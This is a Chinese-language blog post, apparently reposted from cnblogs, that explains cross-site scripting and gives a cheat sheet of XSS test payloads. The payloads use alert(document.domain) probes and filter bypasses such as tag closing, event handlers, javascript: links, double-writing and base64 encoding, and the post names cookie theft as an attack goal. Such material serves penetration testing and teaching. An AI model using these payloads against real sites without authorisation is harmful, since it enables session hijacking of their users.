XSS检测总结

XSS漏洞介绍

    跨站脚本XSS是一种针对网站应用程序的安全漏洞攻击技术。恶意攻击者往web页面插入恶意的Script代码,当用于浏览该页时,嵌入web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。恶意用户利用XSS代码攻击成功后,可能会得到很高的权限,进而进行一些非法操作。

XSS攻击需要了解什么

1.获取管理员的cookie信息、篡改网页的链接
2.存储型XSS,将恶意代码存放在服务端,正常用户访问,恶意代码也会获取用户的cookie
检测测是否存在XSS的方法:将该语句发给服务器:,如果服务器端没有进行过滤,服务器就会返回给客户端,则服务器端存在XSS漏洞。主要就是看服务器端给客户端的响应。(使用burp抓包response)
3.发生位置:留言板、评论、搜索
4.分类:反射型XSS(需要发给客户,客户点击链接才会触发)、存储型XSS(危害严重)、Dom型(特殊的反射型,也需要客户点击链接才会触发)
5.改链接(用来引流),改cookie(用来提权)

XSS检测总结

常用XSS检测

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

直接检测

<script>alert('hi')</script>
<script>alert(document.domain)</script>

闭合<input>标签

"><script>alert(document.domain)</script>
"/><script>alert(document.domain)</script>

闭合选择框,burp抓包修改

</option><script>alert(document.domain)</script>

存在隐藏提交项,burp抓包修改

隐藏项目名"><script>alert(document.domain)</script>

或者使用svg onload事件触发JS代码

隐藏项目名"><svg onload=alert(document.domain)>%0a

限制maxlength的数值

maxlength="1000000"

<script>被转义,使用html事件处理器

xss" onclick="alert(document.domain)"/>
xss" onmouseover="alert(document.domain)"/>

使用JavaScript伪协议

<a href="javascript:alert(document.domain)">
如果不想让链接执行<a href="javascript:void(0)">javascript:alert(document.domain)

双写绕过(或者多写)

"><script>alert(document.dodomainmain)</script>
"><script>alert(eval('document.do'+'main'))</script>

编码绕过

"><script>eval(atob('xxxx'))</script>

其中,xxx是alert(document.domain)的base64编码,atob的作用是把base64解码

伪协议绕过

"><a href="javascript:alert(document.domain)">xss</a>
"><iframe src="javascript:alert(document.domain)">xss</iframe>

空格绕过

"><a href="javascr     ipt:alert(document.domain)">xss</a>"><a

IE浏览器特性绕过

IE中两个反引号``可以闭合一个左边的引号

``onclick=alert(document.domain)

双斜杠16进制绕过、双斜杠unicode绕过

    将被过滤的字符进行不同编码,一次或者多次进行绕过

注意

    在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行绕过。

原文地址:https://www.cnblogs.com/ricardojxu/p/12856312.html